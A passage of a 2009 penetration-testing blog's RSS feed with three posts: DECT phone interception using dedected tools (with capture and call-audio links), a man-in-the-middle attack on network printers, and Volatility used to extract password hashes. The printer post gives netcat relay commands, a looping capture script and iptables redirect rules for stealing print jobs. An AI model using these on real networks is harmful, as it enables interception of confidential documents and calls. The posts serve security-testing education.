		<media:content url="http://c22blog.files.wordpress.com/2009/04/incognito3_after-patch.png?w=300" medium="image">
			<media:title type="html">incognito3_after-patch</media:title>
		</media:content>

		<media:content url="http://c22blog.files.wordpress.com/2009/04/incognito4_after-patch.png?w=300" medium="image">
			<media:title type="html">incognito4_after-patch</media:title>
		</media:content>
	</item>
		<item>
		<title>DECT Interception</title>
		<link>http://blog.c22.cc/2009/04/04/dect-interception/</link>
		<comments>http://blog.c22.cc/2009/04/04/dect-interception/#comments</comments>
		<pubDate>Sat, 04 Apr 2009 17:45:03 +0000</pubDate>
		<dc:creator>ChrisJohnRiley</dc:creator>
				<category><![CDATA[Penetration Test]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[DECT]]></category>
		<category><![CDATA[penetration testing]]></category>

		<guid isPermaLink="false">http://c22blog.wordpress.com/?p=458</guid>
		<description><![CDATA[I&#8217;ve been playing about with the com-on-air and tools from dedected for a few weeks now. Results are mixed, as those who&#8217;ve sat through eth few demos I&#8217;ve run can certainly attest to. Things are still in the early phases &#8230; <a href="http://blog.c22.cc/2009/04/04/dect-interception/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.c22.cc&amp;blog=1599597&amp;post=458&amp;subd=c22blog&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<div id="attachment_461" class="wp-caption alignleft" style="width: 258px"><a href="http://c22blog.files.wordpress.com/2009/04/screenshot1.png?w=300"><img class="size-medium wp-image-461" style="border:5px;margin:5px;" title="dect_cli" src="http://c22blog.files.wordpress.com/2009/04/screenshot1.png?w=248&#038;h=183" alt="dect_cli" width="248" height="183" /></a><p class="wp-caption-text">dect_cli</p></div>
<p>I&#8217;ve been playing about with the com-on-air and tools from <a title="DEDECTED" href="https://dedected.org" target="_blank">dedected</a> for a few weeks now. Results are mixed, as those who&#8217;ve sat through eth few demos I&#8217;ve run can certainly attest to. Things are still in the early phases for the dedected tools and as much as I love what&#8217;s already there, it&#8217;s not really ready for the mainstream yet. Don&#8217;t get me wrong, whats been done is already amazing work, but for the penetration testers amongst you wanting to grab a com-on-air card from ebay and starting running tests, things aren&#8217;t always going to be 100%. Still, it makes managers sit up and pay attention if demonstrated correctly.</p>
<p>As an example of the issues, I&#8217;ve build the drivers and tools from source on 3 or 4 systems now (Fedora, Debian, and Backtrack 3 and 4). Compiling resulted in mixed results (some compile errors) and random capture failures (just capturing static as if the course was encrpyted). You&#8217;ll also probably get a few kernel panics before you learn to respect the driver and not expect hotswap support just yet. After one too many hit and miss captures from the compiled versions, I opted to go for the <a title="Chaox-ng" href="http://chaox.wordpress.com/" target="_blank">Chaox-ng</a> boot USB which includes everything (yes I do mean everything) built in. I find that this USB boot option just adds to the effect when it comes to demos. You turn up with a PCMCIA card and a 1 GB USB stick. That and any laptop will do the job.</p>
<div id="attachment_460" class="wp-caption alignright" style="width: 310px"><a href="http://c22blog.files.wordpress.com/2009/04/screenshot-10.png?w=300"><img class="size-medium wp-image-460" style="border:5px none;margin:5px;" title="Wireshark SVN" src="http://c22blog.files.wordpress.com/2009/04/screenshot-10.png?w=300&#038;h=228" alt="Wireshark SVN" width="300" height="228" /></a><p class="wp-caption-text">Wireshark SVN</p></div>
<p>The Chaox-ng distro includes the drivers and tools compiled to perfection (no capture issues here). The latest version also includes the SVN version of Wireshark (with DECT PCAP support). Kismet newcore is compiled in with the DECT plugin if you want to play about with this as well. About the only thing missing is the Metasploit auxiliary modules, but that always was just a Proof of Concept and not very functional. Personally I stick to using the &#8216;dect_cli&#8217; tool (alongside pcapstein, pcap2chan and Wireshark). For those that are interested I&#8217;ve uploaded a few packet captures for you to take a look at.</p>
<h3>Plantronics CS60 Captures (Encrypted B-Channel)</h3>
<ul>
<li>Keepalive traffic capture (pcap) &#8212; <a title="Plantronics CS60 - Keepalive" href="http://storage.c22.cc/RFPI_00_8c_20_81_48_keepalive_fp-pp.pcap" target="_blank">HERE</a></li>
<li>Headset pairing process (pcap) &#8212; <a title="Plantronics CS60 - Pairing 1" href="http://storage.c22.cc/RFPI_00_8c_20_81_48_pairing1_fp-pp.pcap" target="_blank">Capture 1</a>, <a title="Plantronics CS60 - Pairing 2" href="http://storage.c22.cc/RFPI_00_8c_20_81_48_pairing2_fp-pp.pcap" target="_blank">Capture 2</a> and <a title="Plantronics CS60 - Pairing 3" href="http://storage.c22.cc/RFPI_00_8c_20_81_48_pairing3_fp-pp.pcap" target="_blank">Capture 3</a></li>
<li>Austrian speaking clock (pcap) &#8212; <a title="Plantronics CS60 - Austrian Speaking Clock (Encrypted)" href="http://storage.c22.cc/RFPI_00_8c_20_81_48-Speakingclock.pcap" target="_blank">HERE</a></li>
</ul>
<h3>Siemens GIGASET (Unencrypted B-Channel)</h3>
<ul>
<li>German Test Call (pcap) &#8212; <a title="Siemens GIGASET - German Test Call PCAP" href="http://storage.c22.cc/dump_2009-02-16_17_12_29_RFPI_00_99.pcap" target="_blank">HERE</a></li>
<li>German Test Call (g721, wav) &#8212; <a title="Siemens GIGASET - German Test Call Audio" href="http://storage.c22.cc/output.g721.wav" target="_blank">HERE</a></li>
</ul>
<div id="attachment_464" class="wp-caption alignleft" style="width: 240px"><a href="http://c22blog.files.wordpress.com/2009/04/screenshot-121.png?w=300"><img class="size-medium wp-image-464" style="border:5px;margin:5px;" title="kismet-newcore" src="http://c22blog.files.wordpress.com/2009/04/screenshot-121.png?w=230&#038;h=159" alt="kismet-newcore" width="230" height="159" /></a><p class="wp-caption-text">kismet-newcore</p></div>
<p>The Plantronics PCAP&#8217;s are interesting to look at and see how the communications between the base unit and headset are handled. At this point I&#8217;ve not looked too much into the encryption implmented. From a couple of test calls the Plantronics appears to initiate the call and then encrypt a fraction of a second after the call begins. I&#8217;m leaning towards a standard implementation of DSC (DECT Standard Cipher) instead of a propriatary Plantronics implementation. Pity, as I was hoping for something in the pairing process that would signal a handshake and key creation process. I&#8217;ll leave the encyption work to people much smarter than me however. I just like to play with the new toys <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>DSAA (DECT Standard Authentication Algorithm) has already been reversed (see details <a title="DSAA" href="https://dedected.org/trac/wiki/DSAA-Analysis" target="_blank">here</a> and the paper on the subject <a title="DSAA Paper" href="https://dedected.org/trac/attachment/wiki/DSAA-Analysis/Attacks%20on%20the%20DECT%20authentication%20mechanisms.pdf" target="_blank">here</a>). So next up will be the DSC hopefully. We&#8217;ll have to see how much longer the &#8220;Security through obscurity&#8221; of DECT works. I hope, for their sake, that they&#8217;ve implemented defence-in-depth <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<br />Posted in Penetration Test, Security, Technology Tagged: DECT, Penetration Test, penetration testing, Security <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/c22blog.wordpress.com/458/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/c22blog.wordpress.com/458/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/c22blog.wordpress.com/458/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/c22blog.wordpress.com/458/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/c22blog.wordpress.com/458/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/c22blog.wordpress.com/458/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/c22blog.wordpress.com/458/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/c22blog.wordpress.com/458/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/c22blog.wordpress.com/458/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/c22blog.wordpress.com/458/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/c22blog.wordpress.com/458/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/c22blog.wordpress.com/458/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/c22blog.wordpress.com/458/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/c22blog.wordpress.com/458/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.c22.cc&amp;blog=1599597&amp;post=458&amp;subd=c22blog&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.c22.cc/2009/04/04/dect-interception/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">ChrisJohnRiley</media:title>
		</media:content>

		<media:content url="http://c22blog.files.wordpress.com/2009/04/screenshot1.png?w=300" medium="image">
			<media:title type="html">dect_cli</media:title>
		</media:content>

		<media:content url="http://c22blog.files.wordpress.com/2009/04/screenshot-10.png?w=300" medium="image">
			<media:title type="html">Wireshark SVN</media:title>
		</media:content>

		<media:content url="http://c22blog.files.wordpress.com/2009/04/screenshot-121.png?w=300" medium="image">
			<media:title type="html">kismet-newcore</media:title>
		</media:content>
	</item>
		<item>
		<title>Man in the Middling Printers</title>
		<link>http://blog.c22.cc/2009/03/22/man-in-the-middling-printers/</link>
		<comments>http://blog.c22.cc/2009/03/22/man-in-the-middling-printers/#comments</comments>
		<pubDate>Sun, 22 Mar 2009 09:30:20 +0000</pubDate>
		<dc:creator>ChrisJohnRiley</dc:creator>
				<category><![CDATA[Penetration Test]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[iptables]]></category>
		<category><![CDATA[man in the middle]]></category>
		<category><![CDATA[mitm]]></category>
		<category><![CDATA[printers]]></category>

		<guid isPermaLink="false">http://c22blog.wordpress.com/?p=435</guid>
		<description><![CDATA[This one has been rattling around in my head for a while, and since I&#8217;ve found myself with a few spare minutes, it&#8217;s time I wrote it up for your enjoyment and mine. This is certainly nothing new, but its &#8230; <a href="http://blog.c22.cc/2009/03/22/man-in-the-middling-printers/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.c22.cc&amp;blog=1599597&amp;post=435&amp;subd=c22blog&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><img class="alignright" style="border:7px;margin:7px;" src="http://shoponline.com.sg/images/Epson%20ACL-CX11NF%20Printer.jpg" alt="" width="277" height="330" />This one has been rattling around in my head for a while, and since I&#8217;ve found myself with a few spare minutes, it&#8217;s time I wrote it up for your enjoyment and mine. This is certainly nothing new, but its one of those things that people seem to discount when performing penetration testing. After all, printers aren&#8217;t really cool anymore.</p>
<p>MITM attacks are often talked about together with credential stealing or traffic manipulation (inserting javascript into http streams). The new tool from Inguardians (<a title="The Middler" href="http://www.inguardians.com/tools/" target="_blank">the Middler</a>) is a prime example of where the focus is right now. Although the middler was designed as a tool for performing attacks on all kinds of protocols, the examples provided with the alpha all focus on http(s) traffic. However what I want to talk about was using MITM attacks to steal confidential data in the form of print jobs.</p>
<p>When it comes to stealing data, most of the time you&#8217;re going to need a valid username/password to gain access. Sure you can exploit systems, use pass the hash or go the social engineering route, but you&#8217;re going to need access. However in this day and age of the failed paperless office, why go to those lengths when you can just steal the documents straight from the print queue. We all know how to perform ARP or DNS poisoning  to insert a system into the flow of traffic, but with printers this job can be made so much easier due to the overall lack of security on print devices.</p>
<p>There are four easy methods for stealing print jobs that spring to mind, other than using standard ARP or DNS spoofing attacks.</p>
<ol>
<li><strong>Physical access</strong> &#8211; A majority of printers offer unprotected access to the menu. Through physical access you can change the printers IP address and assume the original for yourself.</li>
<li><strong>Telnet access</strong> &#8211; Not seen so often in modern printers, but can give you complete access if the passwords are blank or left at default. Again, reset the IP address and assume the original.</li>
<li><strong>Webserver access</strong> &#8211; Most modern printers offer a web interface for easy configuration. Brute-Force is an option here as they rarely enforce lockouts or use domain credentials. Again, reset the IP address and assume the original.</li>
<li><strong>Denial of Service</strong> &#8211; Crude but effective. This isn&#8217;t really a MITM attack, as you&#8217;d not be able to forward on the print job. Just drop the printer off the network (turn it off if you have to) and steal it&#8217;s IP.</li>
</ol>
<p>Once you&#8217;ve gained access and stolen the IP address of the remote printer, there are a couple of ways to steal the print jobs. I started off by playing about with netcat using a simple netcat relay (and using tcpdump to copy the traffic).</p>
<blockquote><p>mknod backpipe p<br />
nc -l -p 9100 0&lt;backpipe | nc &lt;new printer ip&gt; 9100 0&gt;backpipe</p></blockquote>
<p>The problem with this is that it would work on the first print job and then lockup. This is because the netcat relay would make the connection and leave it running. All subsequent print jobs would fail. Back to the drawing board.</p>
<p>My second attempt included the -w1 timeout for the second half of the netcat relay . This forces the connection to be dropped after 1 second of inactivity. This worked a little better but still not perfectly. I also threw in tee to prevent having to use tcpdump to capture the traffic (-a sets append).</p>
<blockquote><p>mknod backpipe p<br />
nc -l -p 9100 0&lt;backpipe | tee -a capture.out | nc &lt;new printer ip&gt; -w1 9100 0&gt;backpipe</p></blockquote>
<p>The best results came from using the above command in a loop. I wrote a small bash script to do this. This is something to play with (your mileage may vary).</p>
<blockquote><p>#!/bin/bash<br />
i=1<br />
PRNIP=10.10.10.10</p>
<p>while true; do<br />
echo &#8220;Print jobs captured = $i&#8221;<br />
nc -l -p 9100 0&lt;backpipe | tee -a capture-$i.out | nc $PRNIP -w1 9100 0&gt;backpipe<br />
i=$i+1<br />
done</p></blockquote>
<p>As an alternative to netcat I also tested the use of iptables to perform a prerouting of the traffic.</p>
<blockquote><p>echo 1 &gt; /proc/sys/net/ipv4/ip_forward</p>
<p>iptables -F</p>
<p>iptables -t nat -F</p>
<p>iptables -X</p>
<p>iptables -t nat -A PREROUTING -p tcp &#8212; dport 9100 -j DNAT &#8211;to-destination &lt;new printer ip&gt;</p></blockquote>
<p>The problem I can see here is that PREROUTING is performed before any of the traffic will be visible to TCPDUMP. So although we&#8217;re routing all the traffic to the printer, we can&#8217;t dump any of the print jobs. I&#8217;m no iptables expert by any stretch of the imagination. So maybe there is a way to do this easily without extra tools. I&#8217;ll have to try playing with the mangling rules and see if I can get some better results with iptables.</p>
<br />Posted in Penetration Test, Technology Tagged: iptables, man in the middle, mitm, printers <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/c22blog.wordpress.com/435/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/c22blog.wordpress.com/435/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/c22blog.wordpress.com/435/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/c22blog.wordpress.com/435/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/c22blog.wordpress.com/435/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/c22blog.wordpress.com/435/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/c22blog.wordpress.com/435/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/c22blog.wordpress.com/435/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/c22blog.wordpress.com/435/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/c22blog.wordpress.com/435/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/c22blog.wordpress.com/435/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/c22blog.wordpress.com/435/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/c22blog.wordpress.com/435/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/c22blog.wordpress.com/435/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.c22.cc&amp;blog=1599597&amp;post=435&amp;subd=c22blog&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.c22.cc/2009/03/22/man-in-the-middling-printers/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">ChrisJohnRiley</media:title>
		</media:content>

		<media:content url="http://shoponline.com.sg/images/Epson%20ACL-CX11NF%20Printer.jpg" medium="image" />
	</item>
		<item>
		<title>Volatility as a penetration testing tool</title>
		<link>http://blog.c22.cc/2009/03/01/volatility-as-a-penetration-testing-tool/</link>
		<comments>http://blog.c22.cc/2009/03/01/volatility-as-a-penetration-testing-tool/#comments</comments>
		<pubDate>Sun, 01 Mar 2009 16:11:11 +0000</pubDate>
		<dc:creator>ChrisJohnRiley</dc:creator>
				<category><![CDATA[Penetration Test]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[penetration testing]]></category>

		<guid isPermaLink="false">http://c22blog.wordpress.com/?p=428</guid>
		<description><![CDATA[What is Volatility ? Volatility is a Python based memory forensics framework designed for analyzing and extracting data from Windows XP Service Pack 2 systems. I&#8217;ve played a little with Volatility in the past, but due to my overall lack &#8230; <a href="http://blog.c22.cc/2009/03/01/volatility-as-a-penetration-testing-tool/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.c22.cc&amp;blog=1599597&amp;post=428&amp;subd=c22blog&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p style="text-align:left;"><a href="http://c22blog.files.wordpress.com/2009/03/volatility.png?w=300"><img class="size-medium wp-image-429 aligncenter" style="border:5px none;margin-top:5px;margin-bottom:5px;" title="volatility" src="http://c22blog.files.wordpress.com/2009/03/volatility.png?w=300&#038;h=77" alt="volatility" width="300" height="77" /></a>What is Volatility ? Volatility is a Python based memory forensics framework designed for analyzing and extracting data from Windows XP Service Pack 2 systems. I&#8217;ve played a little with Volatility in the past, but due to my overall lack of forensics work, I&#8217;ve not had a chance to really use most of the features. However after hearing about the latest plug-ins from <a href="http://moyix.blogspot.com/2009/01/memory-registry-tools.html" target="_blank">Moyix</a> I wanted to take a look myself. If you&#8217;ve not already had a chance to listen to the latest Pauldotcom episode, then you&#8217;re really missing out on a treat. In the technical segment they talk you through using MDD to image a system after exploitation (using Metasploits Meterpreter as an upload/download tool for MDD and the memory dump), and then using Moyix&#8217;s Volatility plug-ins to extract hash information directly from the SAM. I&#8217;ve run through the process (detailed on the <a title="ForensicZone Blog" href="http://forensiczone.blogspot.com/2009/01/using-volatility-1.html" target="_blank">ForensicZone</a> blog in some detail) using one of NIST&#8217;s demo images and the results are good. It&#8217;s not always going to work, as a number of the NIST images give an error. From some quick research this is because the information no longer existed in RAM when the image was done. This could be due to a number of reasons.</p>
<p>Although there are easier ways to extract hashdumps when using Metasploit&#8217;s Meterpreter, the process is an interesting use of Volatilitiy&#8217;s forensic tools for penetration testing. I&#8217;ll be sure to try this out on my next engagement.</p>
<p>Pauldotcom Episode 142 Show Notes &#8211;&gt; <a title="Pauldotcom" href="http://pauldotcom.com/wiki/index.php/Episode142" target="_blank">http://pauldotcom.com/wiki/index.php/Episode142</a></p>
<p>The Volatility Framework &#8211;&gt;<a title="Volatility Framework" href="https://www.volatilesystems.com/default/volatility" target="_blank"> https://www.volatilesystems.com/default/volatility</a></p>
<p>NIST Memory Samples &#8211;&gt; <a title="NIST" href="http://www.cfreds.nist.gov/mem/memory-images.rar" target="_blank">http://www.cfreds.nist.gov/mem/memory-images.rar</a></p>
<br />Posted in Penetration Test, Security Tagged: Penetration Test, penetration testing <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/c22blog.wordpress.com/428/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/c22blog.wordpress.com/428/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/c22blog.wordpress.com/428/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/c22blog.wordpress.com/428/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/c22blog.wordpress.com/428/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/c22blog.wordpress.com/428/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/c22blog.wordpress.com/428/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/c22blog.wordpress.com/428/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/c22blog.wordpress.com/428/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/c22blog.wordpress.com/428/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/c22blog.wordpress.com/428/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/c22blog.wordpress.com/428/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/c22blog.wordpress.com/428/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/c22blog.wordpress.com/428/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.c22.cc&amp;blog=1599597&amp;post=428&amp;subd=c22blog&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.c22.cc/2009/03/01/volatility-as-a-penetration-testing-tool/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">ChrisJohnRiley</media:title>
		</media:content>

		<media:content url="http://c22blog.files.wordpress.com/2009/03/volatility.png?w=300" medium="image">
			<media:title type="html">volatility</media:title>
		</media:content>
	</item>
	</channel>
</rss>